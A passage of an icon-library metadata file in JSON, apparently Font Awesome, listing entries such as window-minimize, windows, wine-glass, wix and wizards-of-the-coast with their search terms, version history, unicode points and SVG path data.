        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.3 89.5C.1 91.6 0 93.8 0 96V224 416c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64V224 96c0-35.3-28.7-64-64-64H64c-2.2 0-4.4 .1-6.5 .3c-9.2 .9-17.8 3.8-25.5 8.2C21.8 46.5 13.4 55.1 7.7 65.5c-3.9 7.3-6.5 15.4-7.4 24zM48 224H464l0 192c0 8.8-7.2 16-16 16L64 432c-8.8 0-16-7.2-16-16l0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.3 89.5C.1 91.6 0 93.8 0 96V224 416c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64V224 96c0-35.3-28.7-64-64-64H64c-2.2 0-4.4 .1-6.5 .3c-9.2 .9-17.8 3.8-25.5 8.2C21.8 46.5 13.4 55.1 7.7 65.5c-3.9 7.3-6.5 15.4-7.4 24zM48 224H464l0 192c0 8.8-7.2 16-16 16L64 432c-8.8 0-16-7.2-16-16l0-192z"
      }
    },
    "free": ["regular", "solid"]
  },
  "window-minimize": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5d5"],
        "secondary": ["10f2d1"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Minimize", "browser", "collapse", "computer", "development"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2d1",
    "label": "Window Minimize",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      },
      "regular": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 432c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 432c-13.3 0-24 10.7-24 24s10.7 24 24 24H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "window-restore": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2d2"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["browser", "computer", "development"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2d2",
    "label": "Window Restore",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432 64H208c-8.8 0-16 7.2-16 16V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V320h16c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM0 192c0-35.3 28.7-64 64-64H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192zm64 32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H96c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M432 64H208c-8.8 0-16 7.2-16 16V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V320h16c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM0 192c0-35.3 28.7-64 64-64H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192zm64 32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H96c-17.7 0-32 14.3-32 32z"
      },
      "regular": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432 48H208c-17.7 0-32 14.3-32 32V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V336h16c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zM48 448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V256H48V448zM64 128H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M432 48H208c-17.7 0-32 14.3-32 32V96H128V80c0-44.2 35.8-80 80-80H432c44.2 0 80 35.8 80 80V304c0 44.2-35.8 80-80 80H416V336h16c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zM48 448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V256H48V448zM64 128H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "windows": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["microsoft", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f17a",
    "label": "Windows",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"
      }
    },
    "free": ["brands"]
  },
  "wine-bottle": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f72f"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "beverage",
        "cabernet",
        "drink",
        "glass",
        "grapes",
        "merlot",
        "sauvignon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f72f",
    "label": "Wine Bottle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M393.4 9.4c12.5-12.5 32.8-12.5 45.3 0l64 64c12.5 12.5 12.5 32.8 0 45.3c-11.8 11.8-30.7 12.5-43.2 1.9l-9.5 9.5-48.8 48.8c-9.2 9.2-11.5 22.9-8.6 35.6c9.4 40.9-1.9 85.6-33.8 117.5L197.3 493.3c-25 25-65.5 25-90.5 0l-88-88c-25-25-25-65.5 0-90.5L180.2 153.3c31.9-31.9 76.6-43.1 117.5-33.8c12.6 2.9 26.4 .5 35.5-8.6l48.8-48.8 9.5-9.5c-10.6-12.6-10-31.4 1.9-43.2zM99.3 347.3l65.4 65.4c6.2 6.2 16.4 6.2 22.6 0l97.4-97.4c6.2-6.2 6.2-16.4 0-22.6l-65.4-65.4c-6.2-6.2-16.4-6.2-22.6 0L99.3 324.7c-6.2 6.2-6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M393.4 9.4c12.5-12.5 32.8-12.5 45.3 0l64 64c12.5 12.5 12.5 32.8 0 45.3c-11.8 11.8-30.7 12.5-43.2 1.9l-9.5 9.5-48.8 48.8c-9.2 9.2-11.5 22.9-8.6 35.6c9.4 40.9-1.9 85.6-33.8 117.5L197.3 493.3c-25 25-65.5 25-90.5 0l-88-88c-25-25-25-65.5 0-90.5L180.2 153.3c31.9-31.9 76.6-43.1 117.5-33.8c12.6 2.9 26.4 .5 35.5-8.6l48.8-48.8 9.5-9.5c-10.6-12.6-10-31.4 1.9-43.2zM99.3 347.3l65.4 65.4c6.2 6.2 16.4 6.2 22.6 0l97.4-97.4c6.2-6.2 6.2-16.4 0-22.6l-65.4-65.4c-6.2-6.2-16.4-6.2-22.6 0L99.3 324.7c-6.2 6.2-6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "wine-glass": {
    "aliases": {
      "unicodes": {
        "composite": ["1f377"],
        "secondary": ["10f4e3"]
      }
    },
    "changes": [
      "5.0.9",
      "5.1.0",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "cabernet",
        "drink",
        "glass",
        "grapes",
        "merlot",
        "sauvignon",
        "wine",
        "wine glass"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4e3",
    "label": "Wine Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32.1 29.3C33.5 12.8 47.4 0 64 0H256c16.6 0 30.5 12.8 31.9 29.3l14 168.4c6 72-42.5 135.2-109.9 150.6V448h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H160 80c-17.7 0-32-14.3-32-32s14.3-32 32-32h48V348.4C60.6 333 12.1 269.8 18.1 197.8l14-168.4zm56 98.7H231.9l-5.3-64H93.4l-5.3 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32.1 29.3C33.5 12.8 47.4 0 64 0H256c16.6 0 30.5 12.8 31.9 29.3l14 168.4c6 72-42.5 135.2-109.9 150.6V448h48c17.7 0 32 14.3 32 32s-14.3 32-32 32H160 80c-17.7 0-32-14.3-32-32s14.3-32 32-32h48V348.4C60.6 333 12.1 269.8 18.1 197.8l14-168.4zm56 98.7H231.9l-5.3-64H93.4l-5.3 64z"
      }
    },
    "free": ["solid"]
  },
  "wine-glass-empty": {
    "aliases": {
      "names": ["wine-glass-alt"],
      "unicodes": {
        "secondary": ["10f5ce"]
      }
    },
    "changes": [
      "5.1.0",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "beverage",
        "cabernet",
        "drink",
        "grapes",
        "merlot",
        "sauvignon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5ce",
    "label": "Wine Glass Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 0C47.4 0 33.5 12.8 32.1 29.3l-14 168.4c-6 72 42.5 135.2 109.9 150.6V448H80c-17.7 0-32 14.3-32 32s14.3 32 32 32h80 80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V348.4c67.4-15.4 115.9-78.6 109.9-150.6l-14-168.4C286.5 12.8 272.6 0 256 0H64zM81.9 203.1L93.4 64H226.6l11.6 139.1C242 248.8 205.9 288 160 288s-82-39.2-78.1-84.9z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 0C47.4 0 33.5 12.8 32.1 29.3l-14 168.4c-6 72 42.5 135.2 109.9 150.6V448H80c-17.7 0-32 14.3-32 32s14.3 32 32 32h80 80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V348.4c67.4-15.4 115.9-78.6 109.9-150.6l-14-168.4C286.5 12.8 272.6 0 256 0H64zM81.9 203.1L93.4 64H226.6l11.6 139.1C242 248.8 205.9 288 160 288s-82-39.2-78.1-84.9z"
      }
    },
    "free": ["solid"]
  },
  "wirsindhandwerk": {
    "aliases": {
      "names": ["wsh"]
    },
    "changes": ["6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e2d0",
    "label": "wirsindhandwerk",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M50.77161,479.81213h83.36071V367.84741l-83.36071,47.009Zm329.04675,0h82.35022V414.85645l-82.35022-47.009Zm.00568-448V251.568L256.1759,179.1861,134.50378,251.568V31.81213H50.77161V392.60565L256.1759,270.31909,462.16858,392.60565V31.81213Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M50.77161,479.81213h83.36071V367.84741l-83.36071,47.009Zm329.04675,0h82.35022V414.85645l-82.35022-47.009Zm.00568-448V251.568L256.1759,179.1861,134.50378,251.568V31.81213H50.77161V392.60565L256.1759,270.31909,462.16858,392.60565V31.81213Z"
      }
    },
    "free": ["brands"]
  },
  "wix": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5cf",
    "label": "Wix",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"
      }
    },
    "free": ["brands"]
  },
  "wizards-of-the-coast": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "game",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f730",
    "label": "Wizards of the Coast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 